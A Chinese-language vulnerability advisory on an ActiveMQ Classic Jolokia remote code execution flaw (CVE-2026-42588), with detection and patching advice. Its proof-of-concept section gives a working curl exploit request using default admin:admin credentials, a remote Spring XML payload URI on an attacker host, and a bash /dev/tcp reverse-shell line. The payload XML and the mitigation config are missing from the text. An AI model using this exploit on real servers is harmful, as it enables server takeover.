【高危漏洞预警】Apache ActiveMQ Classic远程代码执行漏洞CVE-2026-42588
飓风网络安全
2026年6月2日 21:14
北京
在小说阅读器读本章
去阅读
一、漏洞概述
2026年5月31日,Apache软件基金会发布安全公告,披露了Apache ActiveMQ Classic中的一个高危远程代码执行漏洞(CVE-2026-42588)。该漏洞是此前CVE-2026-34197漏洞的一个变种,通过使用masterslave:// URL前缀绕过了之前的修复措施。
Apache ActiveMQ Classic是一款广泛使用的开源消息中间件,完整实现了JMS(Java Message Service)规范,被全球数百万企业用于构建分布式系统和微服务架构。该漏洞存在于ActiveMQ Classic的Jolokia JMX-HTTP桥接组件中,攻击者只需拥有有效的认证凭据(默认凭据admin:admin在许多环境中仍被使用),即可远程执行任意代码,完全控制受影响的服务器。
二、影响范围
受影响版本
• Apache ActiveMQ Classic 5.x系列:所有版本 < 5.19.7
• Apache ActiveMQ Classic 6.x系列:6.0.0 ≤ 所有版本 < 6.2.6
高危场景
• 公网暴露的ActiveMQ管理控制台(端口8161)
• 使用默认凭据admin:admin的部署
• 未正确配置Jolokia访问策略的环境
• 云服务提供商托管的ActiveMQ实例(如AWS Amazon MQ、阿里云消息队列等)
三、技术分析
漏洞原理
Apache ActiveMQ Classic在Web控制台(端口8161)上暴露了Jolokia JMX-HTTP桥接接口/api/jolokia/,默认的Jolokia访问策略允许对所有ActiveMQ MBeans(org.apache.activemq:\*)执行任意操作,包括BrokerService.addNetworkConnector(String)方法。
该方法用于在运行时创建broker-to-broker网络连接。攻击者可以构造一个恶意的masterslave:// URI作为参数传入,该URI会触发VM transport的brokerConfig参数,指向攻击者控制的远程Spring XML配置文件。
当ActiveMQ处理这个恶意URI时,会使用Spring的ResourceXmlApplicationContext加载远程XML文件。关键问题在于,Spring会在BrokerService验证配置之前就实例化所有单例Bean,这使得攻击者可以通过Bean工厂方法(如Runtime.exec())执行任意操作系统命令,从而实现远程代码执行。
攻击链
-
攻击者获取ActiveMQ Web控制台的有效凭据(或利用默认凭据)
-
通过Jolokia API调用BrokerService.addNetworkConnector方法
-
传入恶意URI:masterslave:(vm://localhost?brokerConfig=xbean:http://attacker.com/payload.xml)
-
ActiveMQ加载攻击者提供的远程Spring XML文件
-
Spring实例化恶意Bean,执行任意代码
-
攻击者获得服务器权限,进行后续攻击
四、利用POC
前提条件
• 目标ActiveMQ实例的Web控制台(端口8161)可访问
• 拥有有效的认证凭据(默认:admin/admin)
• 攻击者可以搭建一个HTTP服务器来托管恶意Spring XML文件
步骤1:创建恶意Spring XML payload
创建一个名为payload.xml的文件,内容如下:
<?xml version=\"1.0\" encoding=\"UTF-8\" ?>
将touch /tmp/CVE-2026-42588\_success替换为你想要执行的命令,例如反弹shell:
bash -i >& /dev/tcp/ATTACKER\_IP/ATTACKER\_PORT 0>&1
步骤2:启动HTTP服务器托管payload
在攻击者机器上启动一个简单的HTTP服务器:
python3 -m http.server 8000
步骤3:执行漏洞利用
使用curl命令调用Jolokia API触发漏洞:
curl -X POST http://TARGET\_IP:8161/api/jolokia/ \
-H \"Content-Type: application/json\" \
-u admin:admin \
-d '{
\"type\": \"exec\",
\"mbean\": \"org.apache.activemq:type=Broker,brokerName=localhost\",
\"operation\": \"addNetworkConnector(java.lang.String)\",
\"arguments\": [
\"masterslave:(vm://localhost?brokerConfig=xbean:http://ATTACKER\_IP:8000/payload.xml)\"
]
}'
注意:
• 将TARGET\_IP替换为目标ActiveMQ服务器的IP地址
• 将ATTACKER\_IP和ATTACKER\_PORT替换为攻击者机器的IP和端口
• 如果目标使用了非默认的brokerName,需要相应修改brokerName=localhost部分
验证利用成功
在目标服务器上检查是否创建了/tmp/CVE-2026-42588\_success文件,或者是否收到了反弹shell连接。
五、检测方法
日志检测
在ActiveMQ的日志文件中查找以下特征:
• 包含vm:// URI且带有brokerConfig=xbean:http的网络连接器创建记录
• 异常的Spring XML加载错误信息
• Jolokia API对addNetworkConnector或addConnector方法的调用记录
网络流量检测
• 监控端口8161上的HTTP POST请求到/api/jolokia/端点
• 查找请求体中包含\"operation\":\"addNetworkConnector\"或\"operation\":\"addConnector\"的请求
• 检查参数中是否包含masterslave:(vm://和brokerConfig=xbean:字符串
六、修复建议
官方修复
Apache官方已发布修复版本,强烈建议受影响用户立即升级至以下安全版本:
• Apache ActiveMQ Classic 5.19.7
• Apache ActiveMQ Classic 6.2.6
下载地址:https://activemq.apache.org/download
临时缓解措施
如果无法立即升级,可以采取以下临时缓解措施:
1. 修改Jolokia访问策略
编辑conf/jolokia-access.xml文件,限制对敏感MBean操作的访问:
\
2. 禁用不必要的网络连接器功能
如果不需要动态添加网络连接器,可以完全禁用该功能。
- 限制管理接口访问
◦ 不要将ActiveMQ Web控制台(端口8161)暴露到公网
◦ 配置防火墙规则,仅允许受信任的IP地址访问管理端口
◦ 修改默认凭据admin:admin为强密码
- 启用HTTPS
为Web控制台启用HTTPS,防止凭据在传输过程中被窃取。
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论